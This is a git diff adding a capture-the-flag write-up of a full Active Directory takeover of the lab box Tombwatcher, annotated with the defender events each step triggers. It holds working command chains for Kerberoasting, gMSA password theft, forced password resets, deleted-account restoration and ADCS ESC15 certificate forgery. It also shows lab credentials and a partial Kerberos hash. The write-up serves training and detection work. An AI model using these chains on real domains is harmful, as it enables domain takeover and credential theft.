were given to us by the Machine Information : + +```bash +>  nxc smb tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' --shares +SMB         10.129.41.160   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.41.160   445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV!   +SMB         10.129.41.160   445    DC01             [*] Enumerated shares +SMB         10.129.41.160   445    DC01             Share           Permissions            Remark +SMB         10.129.41.160   445    DC01             -----           -----------            ------ +SMB         10.129.41.160   445    DC01             ADMIN$                                 Remote Admin +SMB         10.129.41.160   445    DC01             C$                                     Default share +SMB         10.129.41.160   445    DC01             IPC$            READ                   Remote IPC +SMB         10.129.41.160   445    DC01             NETLOGON        READ                   Logon server share   +SMB         10.129.41.160   445    DC01             SYSVOL          READ                   Logon server share   +``` + +Login succeeded, however, `READ` on `NETLOGON, SYSVOL, IPC$` means there's a high chance we're going to find little to nothing here. We might come back later if we get stuck. + +**Blue** : `Since we succeeded on a direct login, the only SOC alert is one 4624 (Type 3 SMB) and one 5140 (SMB shares check) so pretty much invisible or very low alert in the alert noise of usual corporations.` + +MITRE ATT&CK ID : T1078 (Valid Accounts) + +We aren't stuck at `guest%`. we've got actual `User Credentials`, a Human Valid DC Account. + +We start `Bloodhound-CE` : + +```bash +>  cd ~/bloodhound-ce +sudo docker-compose up -d +Please touch the FIDO authenticator. +[+] up 3/3 +✔ Container bloodhound-ce-app-db-1     Healthy                                                                                                                                                               6.1s +✔ Container bloodhound-ce-graph-db-1   Healthy                                                                                                                                                              42.1s +✔ Container bloodhound-ce-bloodhound-1 Started +``` + +And get the `.zip database` using `henry`'s credentials and `rusthound-ce` : + +```bash +>  rusthound-ce -d tombwatcher.htb -u 'henry@tombwatcher.htb' -p 'H3nry_987TGV!' -f DC01.tombwatcher.htb -i 10.129.41.160 -n 10.129.41.160 -c All -z -o ~/tmp/Tombwatcher/bh +--------------------------------------------------- +Initializing RustHound-CE at 23:02:28 on 07/17/26 +Powered by @g0h4n_0 +--------------------------------------------------- + +[2026-07-17T21:02:28Z INFO  rusthound_ce] Verbosity level: Info +[2026-07-17T21:02:28Z INFO  rusthound_ce] Collection method: All +[2026-07-17T21:02:28Z INFO  rusthound_ce::ldap] Connected to TOMBWATCHER.HTB Active Directory! +[2026-07-17T21:02:28Z INFO  rusthound_ce::ldap] Starting data collection... +[2026-07-17T21:02:28Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*) +[2026-07-17T21:02:33Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=tombwatcher,DC=htb +[2026-07-17T21:02:33Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*) +[2026-07-17T21:02:34Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=tombwatcher,DC=htb +[2026-07-17T21:02:34Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*) +[2026-07-17T21:02:34Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=tombwatcher,DC=htb +[2026-07-17T21:02:34Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*) +[2026-07-17T21:02:34Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=tombwatcher,DC=htb +[2026-07-17T21:02:34Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*) +[2026-07-17T21:02:38Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=tombwatcher,DC=htb +[2026-07-17T21:02:38Z INFO  rusthound_ce::api] Starting the LDAP objects parsing... +⡀ Parsing LDAP objects: 15%                                                                                                                                                                                        +[2026-07-17T21:02:38Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10 +⠠ Parsing LDAP objects: 73%                                                                                                                                                                                        +[2026-07-17T21:02:38Z INFO  rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates +[2026-07-17T21:02:38Z INFO  rusthound_ce::api] Parsing LDAP objects finished! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::checker] Starting checker to replace some values... +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 9 users parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 61 groups parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 1 computers parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 2 ous parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 1 domains parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 74 containers parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 1 ntauthstores parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 1 aiacas parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 1 rootcas parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 1 enterprisecas parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 33 certtemplates parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] 3 issuancepolicies parsed! +[2026-07-17T21:02:38Z INFO  rusthound_ce::json::maker::common] /home/vagabond/tmp/Tombwatcher/bh/20260717230238_tombwatcher-htb_rusthound-ce.zip created! + +RustHound-CE Enumeration Completed at 23:02:38 on 07/17/26! Happy Graphing! +``` + +The `LDAP parsing` is where we start to be less sneaky. We did `-c All`, not `-c DCOnly` since the `DC` on this box is in a single real computer. In a real-world engagement, this would trigger suspicion. + +**Blue** : `Event 4662 : Directory Service Access` and `Event 1644 : LDAP diagnostic / MDI sensor telemetry` which is usually `evidence (Medium Severity).` + +This is **Bloodhound-like** behavior and an `LDAP sweep` that's with the exact same user that triggered the `4624 Login Successful Type 3 (SMB)` and the `5140 SMB Shares Listing` minutes ago. Suddenly those benign first alerts correlate with a broad LDAP enumeration. + +This might become an actual case for the Blue Team. But since we didn't do anything with that data (yet) it's not a severe alert. We'll quickly need to pivot to another account than henry though, since he's the account correlated to that initial `LDAP sweep` we did to get our `Bloodhound-CE` .zip file using `rusthound`. In theory we'd also need to change our IP address (our `tun0` VPN which if we did a good job would match the DC users' usual IPs/VPN structure) when we move from account to another, but since this is a HTB engagement and our VPN is locked to the actual box, we can't. + +We upload `20260717230238_tombwatcher-htb_rusthound-ce.zip` on `Bloodhound-CE` and see that `Henry` has an Outbound Control : `WriteSPN` on `Alfred`. + +We'll try to find a `servicePrincipalName` that isn't too obvious like `WSMan/DC01.tombwatcher.htb`, aligning with a `WinRM 5985/tcp` role. + +We'll then fire our `WriteSPN` which should get our `henry` case from `Medium Severity` to `High Severity` , but since we're simulating a real-world environment where companies get tons of alerts, be it noise or real intrusion threats, and we waited an hour, the alert won't necessarily correlate with our `LDAP sweep` and might get buried under the Alert Fatigue and the noise for now and be deprioritized. + +```bash +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'WSMan/DC01.tombwatcher.htb' +[+] alfred's servicePrincipalName has been updated +``` + +We triggered `EventID=5136` : a directory service object was modified. + +MITRE ATT&CK ID : T1098 Account Manipulation + +**Blue** : We waited long enough before triggering this, and if the SOC team doesn't look into it it'll just see a DC item modified which is noise if it doesn't have context. Unfortunately for us, if they go past the noise and aren't on higher severity cases (like multiple `4625`/`4624` from one source which would theoretically indicate ATT&CK T1110.003 `passwordspray`, `Mimikatz` or `unknown/malicious file hashes`, `4624` on a high privileged account from an unknown source, `.ps1` file injections...) they'll catch us. So we'll bet that the company is already flooded with malicious attackers and bots or that their SOC team doesn't correlate our `5136` with our previous actions because of the time we waited. + +We'll then get into more dangerous territory. Now that `alfred` has a `SPN`, we can use `GetUserSPNs.py` to request a kerberos ticket. + +First, we skew : + +```bash +>  sudo ntpdate -u 10.129.41.160 + +Please touch the FIDO authenticator. +18 Jul 04:46:25 ntpdate[78780]: step time server 10.129.41.160 offset +14400.114837 sec +``` + +Then, we use `Impacket` to get a `kerberos hash TGS eType 23`. +We'll crack the password offline as fast as possible using the appropriate hashcat mode : + +```bash +>  GetUserSPNs.py -dc-ip 10.129.41.160 -dc-host DC01.tombwatcher.htb tombwatcher.htb/'henry':'H3nry_987TGV!' -request -outputfile ~/tmp/Tombwatcher/alfred.hash + +Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   + +ServicePrincipalName        Name    MemberOf  PasswordLastSet             LastLogon  Delegation   +--------------------------  ------  --------  --------------------------  ---------  ---------- +WSMan/DC01.tombwatcher.htb  Alfred            2025-05-12 17:17:03.526670                   + + + +[-] CCache file is not found. Skipping... +>  hashcat -m 13100 ~/tmp/Tombwatcher/alfred.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project] +====================================================================================================================================== +* Device #01: cpu-haswell-AMD Ryzen 5 3500U with Radeon Vega Mobile Gfx, 8912/17824 MB (8912 MB allocatable), 8MCU + +Minimum password length supported by kernel: 0 +Maximum password length supported by kernel: 256 +Minimum salt length supported by kernel: 0 +Maximum salt length supported by kernel: 256 + +Hashes: 1 digests; 1 unique digests, 1 unique salts +Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates +Rules: 1 + +Optimizers applied: +* Zero-Byte +* Not-Iterated +* Single-Hash +* Single-Salt + +ATTENTION! Pure (unoptimized) backend kernels selected. +Pure kernels can crack longer passwords, but drastically reduce performance. +If you want to switch to optimized kernels, append -O to your commandline. +See the above message to find out about the exact limits. + +Watchdog: Temperature abort trigger set to 90c + +Host memory allocated for this attack: 514 MB (12063 MB free) + +Dictionary cache hit: +* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt +* Passwords.: 14344384 +* Bytes.....: 139921497 +* Keyspace..: 14344384 + +[REDACTED]:basketball +                                                           +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) +Hash.Target......: [REDACTED] +Time.Started.....: Sat Jul 18 05:03:59 2026 (0 secs) +Time.Estimated...: Sat Jul 18 05:03:59 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........:  1206.3 kH/s (4.48ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 8192/14344384 (0.06%) +Rejected.........: 0/8192 (0.00%) +Restore.Point....: 0/14344384 (0.00%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 +Candidate.Engine.: Device Generator +Candidates.#01...: 123456 -> total90 +Hardware.Mon.#01.: Temp: 68c Util: 19% + +Started: Sat Jul 18 05:03:58 2026 +Stopped: Sat Jul 18 05:04:01 2026 +``` + +We got `alfred:basketball`. + +MITRE ATT&CK ID : T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting + +**Blue** : `Event ID 4769 A service ticket was requested` : High alert since `henry` is a non-service account that : `modified a domain object : 5136 - user-account SPN` and used this SPN to request a ticket `4769`. + +`Account Manipulation → Steal/Forge Kerberos Tickets` is a strong near-real-time case, and this is where a tuned SOC can interrupt the engagement : `4769` right after the same principal’s SPN write can lead to an immediate block of both `alfred` and `henry` preventing any further `Domain Compromise`. + +But direct detections may miss isolated events. Correlation and prevent-controls decide whether this dies early or becomes a DFIR case. + +SIEM will link this event to the previous ones coming from `henry` : `4624 → 5140 → 4662/1644 → 5136 → 4769` and immediately flag this case as high priority. + +**Blue / SOC (direct):** `4769` right after the same principal’s SPN write is a strong near-real-time case: Account Manipulation → Steal/Forge Kerberos Tickets (`T1098` → `T1558.003`). This is where a tuned SOC can interrupt before password crack finishes — offline crack itself is invisible, the ticket request is not. + +We'll remove `alfred`'s `servicePrincipalName` to cleanup a little, even if it triggers another `5136` event : + +```bash +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' set object alfred servicePrincipalName + +[+] alfred's servicePrincipalName has been updated +``` + +**Blue** : Another `5136` event ID. Clearing the SPN removes a lasting IOC on alfred. +SIEM still has `4624 → 5140 → 4662/1644 → 5136 → 4769` on `henry` but the `Digital Forensics and Incident Response` team will have one thing missing from the case. +If SOC missed it, CTI/hunters still string: henry source IP → LDAP sweep → SPN write → TGS request → later alfred `4624`. +Time delay only helps if nobody is correlating identity events, this is why we start moving fast now. + +```bash +>  nxc smb DC01.tombwatcher.htb -u 'alfred' -p 'basketball' + +SMB         10.129.41.160   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.41.160   445    DC01             [+] tombwatcher.htb\alfred:basketball +``` + +`alfred:basketball` confirmed with `netexec` , `EventID=4624` + +MITRE ATT&CK ID : T1078 - Valid Accounts + +`alfred` can `AddSelf` to the `INFRASTRUCTURE@TOMBWATCHER.HTB` group which has `ReadGMSAPassword` on `ANSIBLE_DEV$`. + +This is big. We'll start by adding `alfred` to the `Infrastructure` group. + +```bash +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'alfred' -p 'basketball' add groupMember 'INFRASTRUCTURE' 'alfred' + +[+] alfred added to INFRASTRUCTURE +``` + +**Blue** `EventID=4728 (Global) or 4732 (Local)`, suspect because `alfred` added himself to the group. Even more suspect if it's linked to `henry` via SIEM : it begins to look like a tentative to overtake the whole domain. Especially with what comes next. + +MITRE ATT&CK ID : T1098.001 Account Manipulation - Group Membership Addition + +We then use our `Outbound Control` as a member of `Infrastructure` to read the `gMSA password` : + +```bash +>  nxc ldap DC01.tombwatcher.htb -u 'alfred' -p 'basketball' --gmsa + +LDAP        10.129.41.160   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)   +LDAP        10.129.41.160   389    DC01             [+] tombwatcher.htb\alfred:basketball   +LDAP        10.129.41.160   389    DC01             [*] Getting GMSA Passwords +LDAP        10.129.41.160   389    DC01             Account: ansible_dev$         NTLM: [REDACTED]     PrincipalsAllowedToReadPassword: Infrastructure +LDAP        10.129.41.160   389    DC01             Account: ansible_dev$         aes128-cts-hmac-sha1-96: [REDACTED] +LDAP        10.129.41.160   389    DC01             Account: ansible_dev$         aes256-cts-hmac-sha1-96: [REDACTED] +``` + +MITRE ATT&CK ID : T1555.005: Credentials from Password Stores + +**Blue** : We have triggered a critical event inside the domain : +`Event ID 4662 (Directory Service Access)` specifically for the `msDS-ManagedPassword`. +Valid path (`Infrastructure` group) might slightly delay the alert but we need to move and pivot fast now. + +`ANSIBLE_DEV$` has `ForceChangePassword` on `Sam` who has `WriteOwner` on `John`. + +```bash +>  nxc smb DC01.tombwatcher.htb -u 'ansible_dev$' -H '[REDACTED]' + +SMB         10.129.41.160   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.41.160   445    DC01             [+] tombwatcher.htb\ansible_dev$:[REDACTED] +``` + +We effectively own `ANSIBLE_DEV$` with `Pass-The-Hash` for now. + +We use `Impacket` to `changepasswd` on `Sam`, verify with netexec and pivot quickly : + +```bash +>  changepasswd.py 'tombwatcher.htb/sam'@DC01.tombwatcher.htb -newpass 'SamTw2026!' -altuser 'ansible_dev$' -althash '[REDACTED]' -reset -protocol smb-samr -dc-ip 10.129.41.160 + +Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   + +[*] Setting the password of tombwatcher.htb\sam as tombwatcher.htb\ansible_dev$ +[*] Connecting to DCE/RPC as tombwatcher.htb\ansible_dev$ +[*] Password was changed successfully. +[!] User no longer has valid AES keys for Kerberos, until they change their password again +>  nxc smb DC01.tombwatcher.htb -u 'sam' -p 'SamTw2026!' + +SMB         10.129.41.160   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) (Null Auth:True) +SMB         10.129.41.160   445    DC01             [+] tombwatcher.htb\sam:SamTw2026! +``` + +We'll now take ownership of `john`, change `sam`'s permissions to `GenericAll` on `john` and change `john`'s password : + +```bash +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'SamTw2026!' set owner 'john' 'sam' + +[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'SamTw2026!' add genericAll 'john' 'sam' + +[+] sam has now GenericAll on john +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'SamTw2026!' set password 'john' 'Scrow123&' + +[+] Password changed successfully! +``` + +**Blue** : This is high severity behavior, first `EventID=4738` with `john` ownership change to `sam`, then `EventID=5136` because we changed our permission rights on `sam` and then `4724` change of password, in a matter of seconds from the same source, this is very high alert. + +MITRE ATT&CK ID : T1098 Account Manipulation and T1078 Valid Accounts + +We try WinRM with john : + +```bash +>  nxc winrm tombwatcher.htb -u john -p 'Scrow123&' +WINRM       10.129.41.160   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)   +WINRM       10.129.41.160   5985   DC01             [+] tombwatcher.htb\john:Scrow123& (Pwn3d!) + +>  evil-winrm -i DC01.tombwatcher.htb -u 'john' -p 'Scrow123&' + +/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems +/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems +/usr/lib/ruby/3.4.0/readline.rb:4: warning: reline was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 4.0.0. +You can add reline to your Gemfile or gemspec to silence this warning. +                                         +Evil-WinRM shell v3.9 +                                         +Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline +                                         +Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion +                                         +Info: Establishing connection to remote endpoint +/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... +*Evil-WinRM* PS C:\Users\john\Documents> type C:\Users\john\Desktop\user.txt +[REDACTED] +``` + +And we got the user flag. + +We see on Bloodhound that `john` has `GenericAll` on the `ADCS Organizational Unit`. + +We'll search for deleted objects with `bloodyad` and `-c 1.2.840.113556.1.4.417` + +```bash +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'john' -p 'Scrow123&' get search --filter '(&(isDeleted=TRUE)(objectClass=user))' --attr 'sAMAccountName,distinguishedName,lastKnownParent' +-c 1.2.840.113556.1.4.417 + + +distinguishedName: CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb +lastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb +sAMAccountName: cert_admin + +distinguishedName: CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb +lastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb +sAMAccountName: cert_admin + +distinguishedName: CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb +lastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb +sAMAccountName: cert_admin +``` + +We'll restore one of them since they appear identical and have a `sAMAccountName: cert_admin` which might indicate they are a `Certificate Administrator` which has high value for us since it could manage `Active Directory Certificate Services (ADCS)` : + +```PowerShell +*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter * -IncludeDeletedObjects -Properties sAMAccountName,objectSid,objectGUID | + Where-Object { $_.objectSid -eq 'S-1-5-21-1392491010-1358638721-2126982587-1111' } | + Format-List sAMAccountName,objectSid,objectGUID,distinguishedName + + +sAMAccountName    : cert_admin +objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1111 +objectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf +distinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb + + + +*Evil-WinRM* PS C:\Users\john\Documents> Remove-ADUser -Identity 'cert_admin' -Confirm:$false +  +*Evil-WinRM* PS C:\Users\john\Documents> Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf' -TargetPath 'OU=ADCS,DC=tombwatcher,DC=htb' +  +*Evil-WinRM* PS C:\Users\john\Documents> Enable-ADAccount cert_admin +Unlock-ADAccount cert_admin -ErrorAction SilentlyContinue +Set-ADAccountPassword cert_admin -Reset -NewPassword (ConvertTo-SecureString 'Scrow123&' -AsPlainText -Force) +Get-ADUser cert_admin -Properties SID,Enabled | Format-List Name,SID,Enabled + + +Name    : cert_admin +SID     : S-1-5-21-1392491010-1358638721-2126982587-1111 +Enabled : True +``` + +We got the `cert_admin` with the `SID` ending in `-1111` which is the only one that's authorized on the `DACL` for the template we'll use. +We deleted the live `cert_admin` with SID ending in `-1109` because it didn't match the principal needed for certipy. + +**Blue** : `Account restored from deletion` from a non-admin account : `john` +`IDs = 5136 DC object change; 4662 operation on object; 4724 change password` +The severity becomes critical and active Security Engineers will try to stop it at all costs if they catch it immediately because `john` is at the end-tail of the `ACL-abuse-chain` and `Full Domain Compromise` is very close when looking at the chain : a highly priviledged account, `cert_admin` was just acquired by the attacker. + +MITRE ATT&CK ID : T1098 Account Manipulation / T1136 Create Account (debatable ; since the account was `re-created` and not `created-as-new`, T1098 is more accurate) + +We'll use `certipy` to find templates and vulnerabilities : + +```bash +>  certipy find -u 'cert_admin@tombwatcher.htb' -p 'Scrow123&' -dc-ip 10.129.41.160 -enabled -stdout 2>&1 | tee certipy.txt +``` + +We found the `WebServer Template` : + +```bash +216:    Template Name                       : WebServer +220:    Client Authentication               : False +223:    Enrollee Supplies Subject           : True +224:    Certificate Name Flag               : EnrolleeSuppliesSubject +229:    Schema Version                      : 1 +237:        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins +256:    Client Authentication               : True +259:    Enrollee Supplies Subject           : False +``` + +```bash +>  /usr/bin/bloodyad --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'john' -p 'Scrow123&' get object 'cert_admin' --attr 'objectSid' + + +distinguishedName: CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb +objectSid: S-1-5-21-1392491010-1358638721-2126982587-1111 +>  certipy req -u 'cert_admin@tombwatcher.htb' -p 'Scrow123&' -dc-ip 10.129.41.160 -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -application-p +olicies '1.3.6.1.5.5.7.3.2' +Certipy v5.1.0 - by Oliver Lyak (ly4k) + +[*] Requesting certificate via RPC +[*] Request ID is 5 +[*] Successfully requested certificate +[*] Got certificate with UPN 'administrator@tombwatcher.htb' +[*] Certificate has no object SID +[*] Try using -sid to set the object SID or see the wiki for more details +[*] Saving certificate and private key to 'administrator.pfx' +[*] Wrote certificate and private key to 'administrator.pfx' +``` + +MITRE ATT&CK ID : T1649 Steal or Forge Authentication Certificates + +We fix `SSL` with `python` and with our ESC15 cert as `Administrator` we use `Schannel` and proceed to get a shell : + +``` +  +>  >....                                                                                                                                                                                                            +ssl.SSLContext.load_cert_chain = load_cert_chain + +sys.argv = [ +   'certipy', 'auth', +   '-pfx', '/home/vagabond/tmp/Tombwatcher/administrator.pfx', +   '-dc-ip', '10.129.41.160', +   '-ldap-shell', +] +sys.path.insert(0, '/usr/share/certipy') +from certipy.entry import main +main() +EOF + +/usr/share/certipy/venv/bin/python ~/tmp/Tombwatcher/certipy_schannel.py +Certipy v5.1.0 - by Oliver Lyak (ly4k) + +[*] Certificate identities: +[*]     SAN UPN: 'administrator@tombwatcher.htb' +[*] Connecting to 'ldaps://10.129.41.160:636' +[*] Authenticated to '10.129.41.160' as: 'u:TOMBWATCHER\\Administrator' +Type help for list of commands + +# whoami +u:TOMBWATCHER\Administrator + +# change_password administrator "ScrowPurple1&" +Got User DN: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb +Attempting to set new password of: ScrowPurple1& +Password changed successfully! + +# exit +Bye! +``` + +MITRE ATT&CK ID : T1078 Valid Accounts & T1098 Account Manipulation + +```bash +>  nxc winrm tombwatcher.htb -u administrator -p 'ScrowPurple1&' +WINRM       10.129.41.160   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)   +WINRM       10.129.41.160   5985   DC01             [+] tombwatcher.htb\administrator:ScrowPurple1& (Pwn3d!) +``` + +And we have compromised the domain. + +We grab the root flag and un-skew our clock : + +```bash +>  evil-winrm -i DC01.tombwatcher.htb -u Administrator -p 'ScrowPurple1&' +/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems +/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems +/usr/lib/ruby/3.4.0/readline.rb:4: warning: reline was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 4.0.0. +You can add reline to your Gemfile or gemspec to silence this warning. +                                         +Evil-WinRM shell v3.9 +                                         +Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline +                                         +Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion +                                         +Info: Establishing connection to remote endpoint +*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt +[REDACTED] +*Evil-WinRM* PS C:\Users\Administrator\Documents> systeminfo + +Host Name:                 DC01 +OS Name:                   Microsoft Windows Server 2019 Standard +OS Version:                10.0.17763 N/A Build 17763 +OS Manufacturer:           Microsoft Corporation +OS Configuration:          Primary Domain Controller +OS Build Type:             Multiprocessor Free +Registered Owner:          Windows User +Registered Organization: +Product ID:                00429-00521-62775-AA332 +Original Install Date:     11/15/2024, 6:52:36 PM +System Boot Time:          7/17/2026, 7:16:05 PM +System Manufacturer:       VMware, Inc. +System Model:              VMware7,1 +System Type:               x64-based PC +Processor(s):              2 Processor(s) Installed. +                          [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz +                          [02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz +BIOS Version:              VMware, Inc. VMW71.00V.24504846.B64.2501180334, 1/18/2025 +Windows Directory:         C:\Windows +System Directory:          C:\Windows\system32 +Boot Device:               \Device\HarddiskVolume2 +System Locale:             en-us;English (United States) +Input Locale:              en-us;English (United States) +Time Zone:                 (UTC-05:00) Eastern Time (US & Canada) +Total Physical Memory:     4,095 MB +Available Physical Memory: 3,022 MB +Virtual Memory: Max Size:  4,799 MB +Virtual Memory: Available: 3,709 MB +Virtual Memory: In Use:    1,090 MB +Page File Location(s):     C:\pagefile.sys +Domain:                    tombwatcher.htb +Logon Server:              N/A +Hotfix(s):                 N/A +Network Card(s):           1 NIC(s) Installed. +                          [01]: vmxnet3 Ethernet Adapter +                                Connection Name: Ethernet0 2 +                                DHCP Enabled:    Yes +                                DHCP Server:     10.10.10.2 +                                IP address(es) +                                [01]: 10.129.41.160 +                                [02]: fe80::7327:ba46:86b5:29f3 +                                [03]: dead:beef::2db1:7f5e:559e:3ea0 +Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed. +``` + +```bash +>  sudo timedatectl set-ntp true +sudo systemctl restart systemd-timesyncd +``` diff --git a/Administrator HTB [MEDIUM].md b/Administrator [MEDIUM] {CPTS PATH}.md similarity index 90% rename from Administrator HTB [MEDIUM].md rename to Administrator [MEDIUM] {CPTS PATH}.md index 72f8291..0f5cdcd 100644 --- a/Administrator HTB [MEDIUM].md +++ b/Administrator [MEDIUM] {CPTS PATH}.md @@ -719,7 +719,7 @@ Mode                 LastWriteTime         Length Name *Evil-WinRM* PS C:\Users\emily\Desktop> cat user.txt -90e524*************3db793 +[REDACTED] ``` And it is. @@ -834,22 +834,12 @@ Dictionary cache hit: * Bytes.....: 139921497 * Keyspace..: 14344384 -$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$47b617cacb26fe6352b093828f4dfa82$b1ede0a6b28378a14927940052db4959d1f89ffd68ab027d4e2c26daa44f5973dd8e26c52b4d766821c216a7bf6c8a7528adbfcd6e39018c0d0 